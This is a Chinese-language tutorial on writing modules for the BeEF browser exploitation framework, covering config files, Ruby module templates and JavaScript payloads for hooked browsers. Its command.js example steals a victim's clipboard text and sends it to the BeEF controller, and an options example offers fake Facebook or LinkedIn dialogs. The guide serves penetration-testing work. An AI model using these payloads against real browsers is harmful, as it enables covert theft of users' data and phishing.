BeEF 模块创建
介绍
BeEF是使用模块化开发原理设计的,因此可以很容易地使用命令模块创建和添加新功能。
模块全部存储在Beef / modules目录中,并由三个主要文件组成:
- config.yaml - 配置文件描述一个模块的属性。
- module.rb-使模块与BeEF Web界面集成
- command.js-将在挂钩的浏览器上执行的JavaScript“有效载荷”
YAML配置文件(config.yaml)
YAML配置文件嵌入了五条信息:
- 模块名称
- 作者姓名
- 模块说明
- 模块类别
- 兼容的浏览器和操作系统
例如,这是Detect Firebug模块的config.yaml :
beef:
module:
detect_firebug:
enable: true
category: "Browser"
name: "Detect FireBug"
description: "This module checks if the Mozilla Firefox Firebug extension is being use to inspect the current window."
authors: ["bcoles"]
target:
working: ["FF"]
not_working: ["All"]
三个数组用于定义浏览器兼容性:working,not_working或user_notify。
浏览器使用主要字母缩写:
- “FF”: Firefox
- “O”: Opera
- “C”: Chrome
- “S”: Safari
- “IE”: Internet Explorer
- “All”: All browsers
通过提供每个浏览器,可以定义可利用的最低和最高版本。
在访问URL获取模块是一个很好的例子:
target:
working:
IE:
min_ver: 6
max_ver: 7
FF:
min_ver: 3
max_ver: 3
C:
min_ver: 1
max_ver: 5
S:
min_ver: 3
max_ver: 3
O:
min_ver: 1
max_ver: 10
not_working: ["All"]
Web界面集成(module.rb)
接下来,您需要编写module.rb文件,该文件定义模块在BeEF界面中的显示方式。BeEF已经定义了高级方法和对象来执行此操作,因此它更像是填写模板。
基本架构
首先创建文件并使用以下模板:
class Your_module_name < BeEF::Core::Command
# This method defines the options proposed to the user in the web interface
def self.options
end
# This method will be called before sending the payload
def pre_send
end
# This method will be called when BeEF receives an answer from the hooked browser
def post_execute
end
end
定义数据类型
该self.options方法应返回它定义向用户建议数据的数组。这是一个从现有模块中提取不同字段的示例:
def self.options
return [{
'name'=>'key_paths',
'ui_label' => 'Key(s)',
'description' => 'Enter registry keys. Note: each key requires its own line',
'type'=>'textarea',
'width' => '500px',
'height' => '350px',
'value'=>'HKLM\\SYSTEM\\CurrentControlSet\\Control\\SystemInformation\\SystemProductNam'
},
{
'name' => 'iFrameSandbox',
'ui_label' => 'Sandbox',
'type' => 'checkbox',
'checked' => 'checked'
},
{
'name' => 'choice',
'type' => 'combobox',
'ui_label' => 'Dialog Type',
'store_type' => 'arraystore',
'store_fields' => ['choice'],
'store_data' => [['Facebook'],['LinkedIn'],['Generic']],
'valueField' => 'choice',
'value' => 'Facebook',
editable: false,
'displayField' => 'choice',
'mode' => 'local',
'autoWidth' => true
}]
end
保存返回的信息
可以将脚本收集的信息保存在挂钩的浏览器的信息列表中。该操作应在post_execute函数中完成,例如,这是“ 浏览器指纹”模块的源代码:
def post_execute
content = {}
content['browser_type'] = @datastore['browser_type'] if not @datastore['browser_type'].nil?
content['browser_version'] = @datastore['browser_version'] if not @datastore['browser_version'].nil?
if content.empty?
content['fail'] = 'Failed to fingerprint browser.'
end
save content
end
Javascript有效负载(command.js)
最后一个必需文件是command.js包含JavaScript有效负载的文件。有效负载应包含在Beef.execute调用的函数中。
以下命令应用于将信息返回给BeEF控制器:
eef.net.send("<%= @command_url %>", <%= @command_id %>, "data");
BeEF JavaScript API已经包含许多有趣的功能和嵌入式jQuery.
beef.execute(function() {
if (clipboardData.getData("Text") !== null) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard="+clipboardData.getData("Text"));
} else {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "clipboard=clipboardData.getData is null or not supported.");
}
});
将外部对象绑定到指定的URI
您可以将外部对象绑定到已定义的URI,以便从挂钩的浏览器中使用它:
class Your_module < BeEF::Core::Command
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/path/to/file','/uri','extension')
end
def post_execute
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/uri.extension')
end
end
将原始HTTP响应绑定到指定的URI
您可以将原始HTTP响应(报头和正文)绑定到已定义的URI,以便从挂钩的浏览器中使用它:
def pre_send
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw('200', {'Content-Type'=>'text/html'}, 'hello world!', '/hello_world', -1)
end
使用BeEF配置信息
您可以在以下设备中使用BeEF配置中的信息module.rb
:
class Your_module < BeEF::Core::Command
def self.options
configuration = BeEF::Core::Configuration.instance
hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/report.html"
return [
{'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
]
end
end
推荐文章: